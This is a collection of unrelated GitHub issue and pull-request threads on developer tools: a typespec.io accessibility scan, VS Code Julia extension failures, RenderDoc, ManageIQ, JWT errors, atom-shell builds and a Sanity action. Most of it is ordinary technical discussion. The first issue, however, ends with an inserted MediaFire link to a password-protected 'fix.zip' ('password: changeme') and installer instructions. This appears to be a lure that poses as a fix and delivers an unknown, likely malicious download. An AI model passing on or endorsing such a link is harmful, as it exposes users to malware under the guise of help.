[Bug]: accessibility issues on typespec.io

Describe the bug
Details as per recent accessibility scan:

Site
Details

Site:typespec.io
Website URL: https://typespec.io
Service Tree Id:
0214dbaa-7417-4025-97f2-bbf75372ba7b
Scorecard Priority: P2 -
medium traffic/priority site
Scan initiated by:
Error Summary

First violation reported at:
02/13/2024 09:58:54 PM
Current violation reported at:
08/09/2024 01:16:09 AM
Total # of Errors: 2
Days to fix Errors (SLA): 60
days once you file bugs for the issues. We will not auto-file bugs on your
behalf.
Next
Steps:

Site owners :

Review a consolidated
      report via the Web
      Compliance Portal
Or review individual
      reports detailing the errors reported on each page URL via the Web
      Compliance Portal
Run the Accessibility
      Insights' Automated Checks scan on your URLs as you fix errors
Fix the errors by the
      SLA
Contact your
      accessibility contacts (kylepa<EMAIL_ADDRESS>      if you have questions about compliance.

Accessibility contacts (kylepa@microsoft.com;lorifraleigh@microsoft.com):

Please report the Compliance
      Results to CELA:

Site's Last Manual
       Assessment Date
Site's Harvey Ball
       Status
Page URL's Compliance
       Score

Please work with the
      site owner to get these issues fixed.
Contact your CELA
      accessibility contact<EMAIL_ADDRESS>      if you have questions about CELA's requirements

DISCLAIMER for site owners: Your
site has redirects, so the pages being scanned may not be the ones you intended
to register. Please review the list below and update
or delete any invalid URLs

URL that is    redirecting
URL it's redirecting    to

https://typespec.io
https://typespec.io/

WCP
Issues:
Contact<EMAIL_ADDRESS>if you have any usability or technical issues with the  Web Compliance Portal.

Reproduction
NA
Checklist

[X] Follow our Code of Conduct
[X] Check that there isn't already an issue that request the same bug to avoid creating a duplicate.
[X] Check that this is a concrete bug. For Q&A open a GitHub Discussion.
[X] The provided reproduction is a minimal reproducible example of the bug.

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Julia issue

Type: Bug
Can't run julia code from editor. Usually ctrl enter runs current line on repl, but now it doesnt work. Clicking the "play" button on the top right of the editor does not work either. Tried restarting vscode and julia extension multiple times but issue was not solved.
EDIT: Seems this only happens for the latest release of the Julia extension for vscode (v1.102.2).
Please have a look at it.
VS Code version: Code 1.91.1 (f1e16e1e6214d7c44d078b1f0607b2388f29d729, 2024-07-09T22:06:49.809Z)
OS version: Windows_NT x64 10.0.22631
Modes:
Remote OS version: Linux x64 4.18.0-553.5.1.el8_10.x86_64

System Info

Item
Value

CPUs
11th Gen Intel(R) Core(TM) i7-1185G7 @ 3.00GHz (8 x 1805)

GPU Status
2d_canvas: enabledcanvas_oop_rasterization: enabled_ondirect_rendering_display_compositor: disabled_off_okgpu_compositing: enabledmultiple_raster_threads: enabled_onopengl: enabled_onrasterization: enabledraw_draw: disabled_off_okskia_graphite: disabled_offvideo_decode: enabledvideo_encode: enabledvulkan: disabled_offwebgl: enabledwebgl2: enabledwebgpu: enabled

Load (avg)
undefined

Memory (System)
15.73GB (6.03GB free)

Process Argv
--crash-reporter-id 8410e4c8-5814-4d5e-bd2e-e453b75b7399

Screen Reader
no

VM
0%

Item
Value

Remote
SSH: HPC

OS
Linux x64 4.18.0-553.5.1.el8_10.x86_64

CPUs
Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz (72 x 3345)

Memory (System)
753.14GB (505.27GB free)

VM
0%

Extensions (11)

Extension
Author (truncated)
Version

jupyter-keymap
ms-
1.1.2

remote-containers
ms-
0.375.1

remote-ssh
ms-
0.112.0

remote-wsl
ms-
0.88.2

vscode-remote-extensionpack
ms-
0.25.0

remote-server
ms-
1.5.2

pdf
tom
1.2.2

vim
vsc
1.27.3

copilot
Git
1.217.0

copilot-chat
Git
0.17.1

language-julia
jul
1.102.2

A/B Experiments
vsliv368cf:30146710
vspor879:30202332
vspor708:30202333
vspor363:30204092
vswsl492:30256859
vscod805:30301674
binariesv615:30325510
vsaa593:30376534
py29gd2263:31024239
c4g48928:30535728
azure-dev_surveyone:30548225
962ge761:30959799
pythongtdpath:30769146
welcomedialog:30910333
pythonnoceb:30805159
asynctok:30898717
pythonregdiag2:30936856
pythonmypyd1:30879173
h48ei257:31000450
pythontbext0:30879054
accentitlementst:30995554
dsvsc016:30899300
dsvsc017:30899301
dsvsc018:30899302
cppperfnew:31000557
dsvsc020:30976470
pythonait:31006305
dsvsc021:30996838
f3je6385:31013174
pythoncenvpt:31062603
a69g1124:31058053
dvdeprecation:31068756
dwnewjupytercf:31046870
newcmakeconfigv2:31071590
impr_priority:31102340
refactort:31101459
ccplt:31103426
pythonrstrctxt:31103193

Please file this on the repo for the Julia extension, thanks

This issue is caused by an extension, please file it with the repository (or contact) the extension has linked in its overview in VS Code or the marketplace for VS Code. See also our issue reporting guidelines. If you don't know which extension is causing the problem, you can run Help: Start extension bisect from the command palette (F1) to help identify the problem extension.
Happy Coding!


Rapier 0.3

Bump dependency to rapier 0.3. Depends on #20 (so that I could test 2D worked.)

Thanks!


Accessibility for new developers

Hi there,
I got I question about refactoring my codebase to improve the score on the "Accessibility for new developers". What does it measure and how can I make sure that on greenfield projects, this stays on 100 percent?

Ah wait :p found it in the source. So it's just a matter of commenting and keeping the lines of code to a minimum right? It doesn't take in account the abstractness of code.

No, this is a really very basic indicator...


[Feature Request] Support Shader Code Formatting

Description
Add a Button or Setting Options to support shader code formatting. Because now the shader code has a lot of Marco that will occur in multiple blank lines and Inelegent code style.

or integrate clang-format could be solve this problem : )
Environment

RenderDoc version: v1.25
Operating System:  Windows10
Graphics API: DX11/12

No, this has been asked for before and I do not plan to add it. RenderDoc is not a shader IDE and I don't want to start to scope-creep in that direction.
You are in control of your shader source and what it looks like, so if you want a formatting step to be applied due to macro expansion you can do that yourself before compilation, or else make sure you compile the original source and let the compiler do the macro expansion so that the original source is displayed in RenderDoc too.


fix(MeshesInspectors): Added default messages in InspectionResult str…

…ucts if not inspection was done.

:tada: This PR is included in version 5.1.3 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


MetricsCapture queues a MiqTask.delete_older for every perf_capture_queue

Every time ManageIQ::Providers::BaseManager::MetricsCapture#perf_capture_queue is called we put an MiqTask.delete_older on the queue [ref].
This quickly leads to many thousands of items if the queue is backed up and they aren't getting run, exacerbating the problem.
This seems like we are just putting logic somewhere that gets run relatively often but doesn't necessarily belong there.

We might want to move this into a purger, though it's not a traditional purger, but I could see this running something like once per hour, and deleting all records over 4 hours old.

Metrics capture run cleans up old tasks
https://github.com/ManageIQ/manageiq/blob/master/app/models/manageiq/providers/base_manager/metrics_capture.rb#L79
But this just puts jobs onto the queue:
https://github.com/ManageIQ/manageiq/blob/master/app/models/miq_task.rb#L346

Punting a little on this one.
The task is for run for VMWare to create a cluster rollup entry.
This task entry is created with a list of VMs. When the list of VMs processed is equal to the total number of VMs processed, it will create the rollup entry.
Since the metrics to be rolled up are only valid for 4 hours, this task deletes old rollup tasks.
This task can be moved from the collect process (every 3 minutes) to the purge process (every hour)
Also, the date can be removed so we don't get duplicates


fix: Fall back to class name when app name is None

Description
Fall back to class name when the name of a CMSApp is not set.
Related resources
#8055
Checklist

[x] I have opened this pull request against develop-4
[x] I have added or modified the tests when changing logic
[ ] I have followed the conventional commits guidelines to add meaningful information into the changelog
[x] I have read the contribution guidelines  and I have joined the channel #pr-reviews on our Discord Server to find a “pr review buddy” who is going to review my pull request.

@halitcelik Do you think you could add a check to cms.utils.check to inform the developer that they are missing a name in their app?

@fsbraun We now have a warning in check and a test for it.


Minor edits: Swift notebook on Protocol-oriented programming & generics

Just a few suggestions:

Minor grammar and syntax changes to be more in line with the Google/TF style guides
Fixing the bullet points at the end of the notebook
For some reason, it says "1,166 additions and 1,200 deletions" after performing the edits in Colab.
Feel free to make amendments, propose suggestions, etc. Thanks!

Thank you!


test(output): update tests to use libtest.h (fix #197)

Change tests to use libtest.h as specified in
Issue #197.
Fixes #197 .
Changes proposed in this pull request:

Use methods defined in libtest.h to improve test output formatting.

@lc-soft

IssueHunt Summary

Referenced issues
This pull request has been submitted to:

#197: Update test program

Note that TEST_LOG is still used in a few places
where we log purely informational messages that
don’t match functions in libtest.h

For code that uses TEST_LOG like below, , you can replace TEST_LOG with Logger_Debug.
https://github.com/lc-soft/LCUI/blob/4e6e459cd21f5281d13848a0cc80189e1c145618/test/test_thread.c#L19-L38

Note that TEST_LOG is still used in a few places
where we log purely informational messages that
don’t match functions in libtest.h

For code that uses TEST_LOG like below, you can replace TEST_LOG with Logger_Debug.
https://github.com/lc-soft/LCUI/blob/4e6e459cd21f5281d13848a0cc80189e1c145618/test/test_thread.c#L19-L38

I've replaced calls to TEST_LOG with Logger_Debug. I've also deleted the now unused macros in test.h

The output text style should be consistent, I suggest you change them to lower case.
- Check *****
+ check *****

Done.


error with generate-token command

lcobucci/jwt                             3.2.2              A simple library to work with JSON Web Token and JSON Web Signature
lexik/jwt-authentication-bundle          v2.5.1             This bundle provides JWT authentication for your Symfony REST API

Fatal error: Uncaught Symfony\Component\Debug\Exception\ClassNotFoundException: Attempted to load class "Sha256" from namespace "Lcobucci\JWT\Signer\Rsa".
Did you forget a "use" statement for another namespace? in /var/www/vendor/lexik/jwt-authentication-bundle/Services/JWSProvider/LcobucciJWSProvider.php:138
Stack trace:
#0 /var/www/vendor/lexik/jwt-authentication-bundle/Services/JWSProvider/LcobucciJWSProvider.php(67): Lexik\Bundle\JWTAuthenticationBundle\Services\JWSProvider\LcobucciJWSProvider->getSignerForAlgorithm('RS256')
#1 /var/www/var/cache/dev/ContainerHX3MWYF/getLexikJwtAuthentication_EncoderService.php(18): Lexik\Bundle\JWTAuthenticationBundle\Services\JWSProvider\LcobucciJWSProvider->__construct(Object(Lexik\Bundle\JWTAuthenticationBundle\Services\KeyLoader\RawKeyLoader), 'openssl', 'RS256', 3600, 0)
#2 /var/www/var/cache/dev/ContainerHX3MWYF/srcDevDebugProjectContainer.php(851): require('/var/www/var/ca...')
#3 /var/www/var/cache/dev/ContainerHX3MWYF/getLexikJwtAuthentication_JwtManagerService.php(13): Cont in /var/www/vendor/lexik/jwt-authentication-bundle/Services/JWSProvider/LcobucciJWSProvider.php on line 138

do you need any other info?

Hey. That's weird, class Lcobucci\JWT\Signer\RSA\Sha256 does exist, can't you find it in your vendors? The command runs fine on my side with the same version of lcobucci/jwt. Can sound silly but perhaps try deleting your vendor/andcache/` directories and reinstall?

Hey @chalasr

weird, now it works 🤦♂
Thanks for your feedback, I close here...


Can I get an overview of this task's whole process

Having issues with the plugin (cross platform, some of the same issues, some different). Trying to figure out exactly whats going on. I think I have an understanding of how things happen, but I'm not sure. Trying to go through these steps manually yields some odd issues. I could use a bit of explaination to how things are working. Read up on rx.js a bit, but I'm still missing something I think. Assuming productname is product and projectname is project, config is Release

clone atom-shell
modify atom.gyp
BOOTSTRAP:

```bash
GYP_DEFINES={stuff} ./script/bootstrap.py -v
```

BUILD

```bash
./script/build.py -c Release -t project
```

INSTALL CUSTOM  NODE

```bash
GYP_DEFINES={stuff} nodegyp install --target={node-version} --arch={arch} --dist-url={ghcontractor.blablabla}
```

NODELIB

```bash
./script/build.py -c Release -t generate_node_lib
```
then copy `./out/Release/node.lib` back to `~/.project/.node-gyp/{version}/node.lib
note, this fails for me:

```bash
ninja: Entering directory `out/Release'
ninja: error: unknown target 'generate_node_lib'
```

REBUILD NATIVE MODULES

```bash
HOME=npm rebuild --target={node-version} --arch={arch}
```

am I missing something? I'm perhaps most confused by the issue generating node lib. Cant find reference to that anywhere in the atom-shell code or atom/node code, except for one place. Did that command change? Note I am building 0.22.3, on OSX yosemite.
I know I've seen it referenced in the issue that spawned this task, but when I go to the line thats referenced in atom-gyp, it doesnt line up anymore.

generate_node_lib should only run on Windows (it only exists on Windows). How are you invoking the task?

Ah interesting, that's windows only. Good to know!
The task is being invoked by just grunt build-atom-shell. We get inconsistant errors though during builds. Not sure exactly what the issue is, but I'm just trying to follow the path the plugin takes so I can try to diagnose things and figure out what's at the root of it all.

Can you give a few examples of output of grunt build-atom-shell --verbose --stack?

Apparently it's magically started working for me, no issues now >.<
I'm out of office from the other guys atm, so I'll ask them to try again. If the contents of my ~/.myproject/.node-gyp folder were screwed up somehow, could that prevent proper rebuilds from happening?

If the contents of my ~/.myproject/.node-gyp folder were screwed up somehow, could that prevent proper rebuilds from happening?

Who knows? Impossible to say really, when it comes to node.js

As an aside, if I'm getting module version mismatches, I'm assuming thats something to do with the nodeVersion not matching up. I've got atom-shell targeting 0.22.3, and nodeVersion set to 0.22.0.

Yep and yep. Something's going odd.

Hrm, so setting nodeVersion to 0.22.3 (matching atom-shell, just minus the v at the beginning (from the tag) fixes it.

@paulcbetts OK, so it does have issues in windows apparently (potentially). It's not verbose stack, but heres the basic error in windows.
Running "build-atom-shell" task
>> Traceback (most recent call last):
>>   File "script/bootstrap.py", line 131, in <module>
>>     sys.exit(main())
>>   File "script/bootstrap.py", line 36, in main
>>     update_atom_modules('spec')
>>   File "script/bootstrap.py", line 89, in update_atom_modules
>>     execute_stdout([apm, 'install'])
>>   File "D:\Projects\MyProject\vendor\atom-shell\script\lib\util.py", line 154, in execute_stdout
>>     execute(argv)
>>   File "D:\Projects\MyProject\vendor\atom-shell\script\lib\util.py", line 142, in execute
>>     raise e
>> subprocess.CalledProcessError: Command '['D:\\Projects\\MyProject\\vendor\\atom-shell\\node_modules\\atom-package-manager\\bin\\apm.cmd', 'install']' returned non-zero exit status 1
>> Traceback (most recent call last):
>>   File "script/bootstrap.py", line 131, in <module>
>>     sys.exit(main())
>>   File "script/bootstrap.py", line 36, in main
>>     update_atom_modules('spec')
>>   File "script/bootstrap.py", line 89, in update_atom_modules
>>     execute_stdout([apm, 'install'])
>>   File "D:\Projects\MyProject\vendor\atom-shell\script\lib\util.py", line 154, in execute_stdout
>>     execute(argv)
>>   File "D:\Projects\MyProject\vendor\atom-shell\script\lib\util.py", line 142, in execute
>>     raise e
>> subprocess.CalledProcessError: Command '['D:\\Projects\\MyProject\\vendor\\atom-shell\\node_modules\\atom-package-manager\\bin\\apm.cmd', 'install']' returned non-zero exit status 1
Warning: null Use --force to continue.

Aborted due to warnings.

Got the verbose output.
Running "build-atom-shell" task
Verifying properties build-atom-shell.buildDir, build-atom-shell.tag, build-atom-shell.projectName, build-atom-shell.productName exist in config...OK
>> Cloning to D:\Projects\MyProject\vendor
>> Running: git clone https://github.com/atom/atom-shell
>> Running: git fetch origin
>> Running: git reset --hard HEAD
>> Running: git checkout v0.22.3
>> Rigging atom.gyp to have correct name
Reading D:\Projects\MyProject\vendor\atom-shell\atom.gyp...OK
Writing D:\Projects\MyProject\vendor\atom-shell\atom.gyp...OK
>> Running: python script/bootstrap.py
>> Traceback (most recent call last):
>>   File "script/bootstrap.py", line 131, in <module>
>>     sys.exit(main())
>>   File "script/bootstrap.py", line 36, in main
>>     update_atom_modules('spec')
>>   File "script/bootstrap.py", line 89, in update_atom_modules
>>     execute_stdout([apm, 'install'])
>>   File "D:\Projects\MyProject\vendor\atom-shell\script\lib\util.py", line 154, in execute_stdout
>>     execute(argv)
>>   File "D:\Projects\MyProject\vendor\atom-shell\script\lib\util.py", line 142, in execute
>>     raise e
>> subprocess.CalledProcessError: Command '['D:\\Projects\\MyProject\\vendor\\atom-shell\\node_modules\\atom-package-manager\\bin\\apm.cmd', 'install']' returned non-zero exit status 1
>> Rigging atom.gyp to have correct name
Reading D:\Projects\MyProject\vendor\atom-shell\atom.gyp...OK
Writing D:\Projects\MyProject\vendor\atom-shell\atom.gyp...OK
>> Running: python script/bootstrap.py
>> Traceback (most recent call last):
>>   File "script/bootstrap.py", line 131, in <module>
>>     sys.exit(main())
>>   File "script/bootstrap.py", line 36, in main
>>     update_atom_modules('spec')
>>   File "script/bootstrap.py", line 89, in update_atom_modules
>>     execute_stdout([apm, 'install'])
>>   File "D:\Projects\MyProject\vendor\atom-shell\script\lib\util.py", line 154, in execute_stdout
>>     execute(argv)
>>   File "D:\Projects\MyProject\vendor\atom-shell\script\lib\util.py", line 142, in execute
>>     raise e
>> subprocess.CalledProcessError: Command '['D:\\Projects\\MyProject\\vendor\\atom-shell\\node_modules\\atom-package-manager\\bin\\apm.cmd', 'install']' returned non-zero exit status 1
Warning: null Use --force to continue.
Error: null
    at ChildProcess.<anonymous> (D:\Projects\MyProject\node_modules\grunt-build-atom-shell\tasks\task-helpers.coffee:93:23)
    at ChildProcess.emit (events.js:98:17)
    at maybeClose (child_process.js:766:16)
    at Process.ChildProcess._handle.onexit (child_process.js:833:5)

Aborted due to warnings.

Figured it out! Pretty sure it was lack of an --msvs_version flag when bootstrap.py calls apm install. Completely outside the scope of this project :+1: Thanks so much for all of your help man.


Add Line Spider to bots list

Spider from Line social media platform.
See github issue: https://github.com/WhichBrowser/Parser-PHP/issues/505
Link: https://help2.line.me/linesearchbot/web/?contentId=50006055&lang=en

Coverage increased (+0.02%) to 99.97% when pulling 682d7079619976672af42c94aa75c11b60c8592c on ayumi-cloud:line-bot into 880b9fa797401d14b28956442944c3daa70240ff on WhichBrowser:master.

@NielsLeenheer Please can you merge this pr.

Fixed in f7bf3d60b1a6db64fea18e3939374141e896ca3b

Fixed in f7bf3d60b1a6db64fea18e3939374141e896ca3b


Create virtual environment on Anaconda 3 failed

Using today's build with only DS workload installed, no customization.
Create new python project.
Add Virtual Environment (accept default which is Anaconda 4.3.0).
Click OK.

Virtual environment is being created at 'c:\users\huvalo\documents\visual studio 2017\Projects\PythonApplication1\PythonApplication1\env'
C:\Program Files\Anaconda3\python.exe: No module named virtualenv
Virtual environment was not created at 'c:\users\huvalo\documents\visual studio 2017\Projects\PythonApplication1\PythonApplication1\env'. Exit code: 1
Virtual environment was not created at 'c:\users\huvalo\documents\visual studio 2017\Projects\PythonApplication1\PythonApplication1\env'

It's trying to use virtualenv?
Next time I do a Add Virtual Environment, it looks like this:

and it worked:
Virtual environment is being created at 'c:\users\huvalo\documents\visual studio 2017\Projects\PythonApplication1\PythonApplication1\env'
C:\Program Files\Anaconda3\python.exe: No module named virtualenv
Virtual environment was not created at 'c:\users\huvalo\documents\visual studio 2017\Projects\PythonApplication1\PythonApplication1\env'. Exit code: 1
Virtual environment was not created at 'c:\users\huvalo\documents\visual studio 2017\Projects\PythonApplication1\PythonApplication1\env'
Virtual environment is being created at 'c:\users\huvalo\documents\visual studio 2017\Projects\PythonApplication1\PythonApplication1\env2'
Virtual environment was successfully created at 'c:\users\huvalo\documents\visual studio 2017\Projects\PythonApplication1\PythonApplication1\env2'

This bug is back. I just saw it on 15.5.2, with the VS bundled Python 3.6.
Virtual environment is being created at 'C:\Users\ptvsazure\source\repos\PythonApplication1\PythonApplication1\env'
C:\Program Files (x86)\Microsoft Visual Studio\Shared\Python36_64\python.exe: No module named virtualenv
Virtual environment was not created at 'C:\Users\ptvsazure\source\repos\PythonApplication1\PythonApplication1\env'. Exit code: 1
Virtual environment was not created at 'C:\Users\ptvsazure\source\repos\PythonApplication1\PythonApplication1\env'

This may be fixed (and is certainly affected) by #3500, which has changed the method we use to search for venv/virtualenv. We should re-test after getting that refactoring in.

I got the same problem with 15.5.2. Solved it by manually installing virtualenv package.

Changes to the Add environment in dev16 may have fixed this. If this is still in issue in dev16, we can open a new issue.


Files for vx-fixedshots missing

Hello, forgive me if this is recorded somewhere and I missed it but I combed the website for anything mentioning it and thought I might as well bring it up.
I tried to install VasteelXolotl's "fixedshots" patch (that fixes the damage bugs for MariB and YoumuC in MoF and WBaWC, respectfully) and found that the files just straight-up didn't get installed on my computer, and only the repo.js did. I was able to fix it by opening up the patch itself on the thpatch mirrors and copying the files over, but it was also a little annoying because the options to download stuff from the mirrors page were quite limited (I could only download one file at a time and had to copy some contents over). It wasn't hard to fix but I figure someone less savvy with computers might not figure it out.
Again, forgive me if I missed something as this is my first time reporting anything like this.

Vasteel just fixed it, can you try again? (note that they renamed themselves to just Vasteel)

Hey, sorry for the late reply.


SCRIPT must be provided. sanity exec <script>

Using v0.3 to execute sanity script results in "Error: SCRIPT must be provided."
name: Sanity Sync Jobs Routine
on:
  workflow_dispatch:
  # schedule:
  # Every hour between 7-19
  # - cron: '0 7-19 * * *'
jobs:
  sanity-exec:
    runs-on: ubuntu-latest
    name: Sync data
    steps:
      - uses: actions/checkout@v2
      - name: Sync data
        uses<EMAIL_ADDRESS>        env:
          SANITY_AUTH_TOKEN: ${{ secrets.SANITY_AUTH_TOKEN }}
        with:
          args: studio exec functions/syncJobs.js

Response
Error: SCRIPT must be provided. `sanity exec <script>`
    at execScript (/github/workspace/node_modules/@sanity/core/lib/actions/exec/execScript.js:41:[11](https://github.com/guilty-as/safe-bemanning/runs/8078208168?check_suite_focus=true#step:4:12))
    at Object.action (/github/workspace/node_modules/@sanity/util/lib/lazyRequire.js:14:10)
    at _.runCommand (/usr/local/share/.config/yarn/global/node_modules/@sanity/cli/bin/sanity-cli.js:3608:2242)

Thanks @thunder87. We'll take a look.

No matter what I passed to sanity exec, I couldn't avoid that same error.
I can look into this a bit more, but in the meantime I think you can run your Action successfully with:
name: Sanity Sync Jobs Routine
on:
  workflow_dispatch:
  # schedule:
  # Every hour between 7-19
  # - cron: '0 7-19 * * *'
jobs:
  sanity-exec:
    runs-on: ubuntu-latest
    name: Sync data
    steps:
      - uses: actions/checkout@v2
      - name: Sync data
        env:
          SANITY_AUTH_TOKEN: ${{ secrets.SANITY_AUTH_TOKEN }}
        run: |
          yarn global add @sanity/cli
          cd sanity && sanity install
          sanity exec functions/syncJobs.js


Merge pull request #1 from ApolloAuto/master

merge code

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

for 1.5

no file change?

Closed for no file change.


Interface for filter implementations

I wasn't sure if this is appropriate here or a different package, but wanted to start somewhere.
Sometimes when I am filtering a point cloud I don't want the surface yet, but want to identify/update the classification for what points are ground. I think it would be great to have some kind of generic interface like GeoStats/DiffEq/others where I can swap out the algorithm easily.
classify(pc::PointCloud, alg::GroundFilter) or
classify(pc::PointCloud, alg::VegetationFilter)
and then if I don't care about the points and want to go straight to DEM it classifies the point and returns the surface.
filter(pc:PointCloud, alg::GroundFilter)
Does this make sense?
I know there is an update!() functionality in LasIO that will update bounding box. Maybe the classification code lives in LasIO/LazIO and the filtering code lives here?

This absolutely makes sense. Over at https://github.com/FugroRoames/PointClouds.jl there's a pointcloud type already, but a discussion about what it should be as well. I've talked before about PointCloudFiltering.jl with @visr.
In the meantime, for my current work, I'm also looking for a type/interface to:

Intersect many millions of points with complex shapefiles
Easily do GeoArray + Pointcloud, adding the raster values to an (z) attribute of intersecting points for each cell

I have this working in a script like manner, but like to generalize, and I'm using other PointClouds than LazIO.jl.

I have seen the PointClouds.jl project before, that looks cool but very dead haha.
I like what you are describing but I have no idea how to get there...
There is probably some overlap with a few  JuliaGeometry packages. PointCloudRasterizers probably in there somewhere too.
In the near term, I have been mainly thinking of it in terms of just wrapping the pmf and other future filters in this package so they integrate with LiDAR data pc::LazDataset rather than a higher level generic ::PointCloud. I don't really do much with meshes or CAD data so I am less familiar with what they require.
I can start trying to put something together if there is some guidance as to what it should look like or examples I can follow. At the very least, I can contribute enthusiasm!

Starting with an iterable that produces an object that has fields like :x, :y seems fine to me. I'm actually working on a few pointcloudfilters right now that I can put online soon. Shall we call it PointCloudRasterizers.jl?
With regards to the filters, I hope they can work like a findall, so you don't make unneeded copies of (often large) pointclouds. Like, https://github.com/evetion/GeoAcceleratedArrays.jl

Anothing quick thing, the API of the filter function is the other way around:
filter(pred, a)so filter(alg::GroundFilter, pc::PointCloud)


Go Live

Push to live

Docs Build status updates of commit ac7e62f:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

msteams-platform/docfx.json
:white_check_mark:Succeeded

msteams-platform/feed.atom
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel


Redis Adapter

This is a tracking issue for a redis adapter. Once the async adapter PR is merged (see #395) it will be possible to start working on a redis adapter. First thought are:
We must let the end user choose its Redis client implementation. There are currently multiple potential candidates:

https://lib.rs/crates/fred
https://lib.rs/crates/redis
https://lib.rs/crates/rustis

The best way to implement that would be to make a simple compat trait for every redis feature the adapter use (mostly PUB/SUB AFAIK). We could then put each redis implementation behind a feature flag for the most used implementation and otherwise propose the user to implement manually the compat trait if he wants another Redis flavour.

When will it be updated? Waiting for this feature.

I'm working on it on my spare time. I can't promise anything but it will be surely in 2025. (~3 to 10 months).

When will it be updated? Waiting for this feature.


Bump Octicons to v0.3.0

Coverage remained the same at 86.17% when pulling 6a85cbbd7f913595e03d6a653f2a52f461efe4bf on octicons-0-3-0 into 0f96cf5c4fe01127d32fd2cd014ec41666e16fa5 on master.


Add module casing change workaround to README

I've been bitten by this several times and it's always maddening, but it can be fixed with a module replace directive:
replace github.com/Sirupsen/logrus => github.com/sirupsen/logrus v1.6.0
It would be helpful to users if this hack was called out in the README.

Would this work in recursive module dependencies ?
The official position on this old topic if for package consumer is to fix their import rule.
We know this has been a sad bug for many users, but there is not many solution to provide beyond this one.


[feat]: Landing page

Description
Fixes #218
Type of change
Please delete options that are not relevant.

[ ] Bug fix (non-breaking change which fixes an issue)
[x] User Interface
[x] New feature (non-breaking change which adds functionality)
[x] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] This change requires a documentation update

Checklist:

[x] My code follows the style guidelines of this project
[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[ ] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[x] I have npm run format before commiting
[x] I replicated the UI with the Design

after code.

@harkiratsm . Please review this code.

Hey @Neeteshking21, just a reminder, the font used is not the same, and also the placement of GO-TO-Courses is a bit wrong.
If you need any files/ fonts data feel free to reach me or @harkiratsm.
Please take a look at this screenshot, I have marked the areas that could be improved. Thanks for your Hard Work <3

Yes, please share with me the exact font and icons.
@shreyanshmalvya , @harkiratsm

@Neeteshking21 Checkout this Figma

@harkiratsm. Please review.


fix: adjust nondetermininstic LibrarySearch tests

Some of the tests for LibrarySearch functionality are nondetermininstic and were using #guard_msgs to check for specific output. This could create spurious failures. We switch to using #guard_msgs (drop info) for these tests, which still cleans up the stdout when running these tests without filtering out errors.

Thanks. I will think about how to do this better, but I agreeing disabling the specific checks is certainly correct in the short term.

bors merge


Address 44

My fix was to just remove the stars.
The reasoning is that they can not be used to unstar the starred courses anyway.

I tried to unset the position, which resulted in a fairly inconsistent look:

I tried to move the star icon to the bottom right. But due to the reorganization of the texts I seem to be unable to make the bottom fill out more (view below):

If it could be done it should be possible to make the star icon fit to the bottom right of the parent

Maybe it would just be an easier fix to set the width of the link/name of the course to 90-95%. That way we force the header to wrap before it gets to the star?

If we instead just removed some CSS I added some time ago then it would be at the bottom and respect the titles:
See: https://github.com/PhilipFlyvholm/learnit-plus-plus/blob/1bdfe5e35da62799c65c7c2421d79489646075a3/src/styles/main.css#L158C2-L162C2
The position at the top was to try to match the old LearnIT, and because the original feature request wanted the order reversed like it is currently. Of course, the star part could have been implemented better.

@lucasfth I have pushed a change that solves the same problem but with a different solution. I hope this is okay.


feat: Create a sample app featuring all lint issues

Description
Create a sample app featuring all current lint issues, and add a release build lint report as an example.

[x] DuplicateColors
[x] DuplicateResourceFiles
[x] HardcodedColorSrcCode
[x] HardcodedColorXml
[x] RedundantStyles

Type of Change

[ ] Bug fix (non-breaking change which fixes an issue)
[x] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[x] This change requires a documentation update

Demo
https://user-images.githubusercontent.com/20887574/197631336-4809a499-0c93-4dd1-9003-36724d125370.mp4
Checklist

[x] My code follows the style guidelines of this project
[x] I have commented my code, particularly in hard-to-understand areas
[x] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[ ] I have added tests that prove my fix is effective or that my feature works
[x] New and existing unit tests pass locally with my changes

Bitrise
View test reports
View more details on Bitrise

Build Artifacts

grype_output_vm_build.csv

grype_output_vm_build.json


refactor: Consolidate derivation of docker_image

Only question is: what happened to the tests?

Only question is: what happened to the tests?

Good catch, tests are fixed :)


upstart script doesn't respect flag only parameter

I want to enable mail_ssl with the upstart script. When creating an empty file in conf/mail_ssl directory, chronos failed to start.
It seems the script generates a startup command with --mail--ssl ''
Do you have any known workaround?

Flags are prefixed with ?
E.g.
touch conf/?mail_ssl

Thanks, I will try that.


Implement automatic redirection at the start of the LLM app

Issue #781

Thanks for the review @MohammedMaaz, it’s all done now


feat: ability to accept rejected applications ✅

Description ✏
[INCOMPLETE: The feature is essentially implemented, but there are issues with the CSS formatting of the dropdown, and with testing the function without admin permissions. Please see comments below]
This PR gives admins the ability to accept previously rejected applications.
Closes #172

[X] As an admin, when I filter for rejected applications, I should see a menu button appear at the end of each application row.
[X] As an admin, when I click the "Accept Application" menu button, a confirmation modal should pop up.
[] As an admin, when the confirmation modal pops up and I click confirm, the member should be accepted.

Type of Change 🐞

[x] Feature - A non-breaking change which adds functionality.
[ ] Fix - A non-breaking change which fixes an issue.
[ ] Refactor - A change that neither fixes a bug nor adds a feature.
[ ] Documentation - A change only to in-code or markdown documentation.
[ ] Tests - A change that adds missing unit/integration tests.
[ ] Chore - A change that is likely none of the above.

Checklist ✅

[ ] I have done a self-review of my code.
[ ] I have manually tested my code (if applicable).
[ ] I have added/updated any relevant documentation (if applicable).

There is an issue with the formatting of the Dropdown element, where it sometimes gets pushed out of the window far too the right.

I've also noticed this is a bit of an issue on another page.

This seems to be an issue with the way the Dropdown element is described in table.tsx.
Since a change in that file would affect more than just this applications page/new feature, I'll create a separate issue to resolve this.

Yep, sounds good. I filed issue #191 to address the CSS issue.
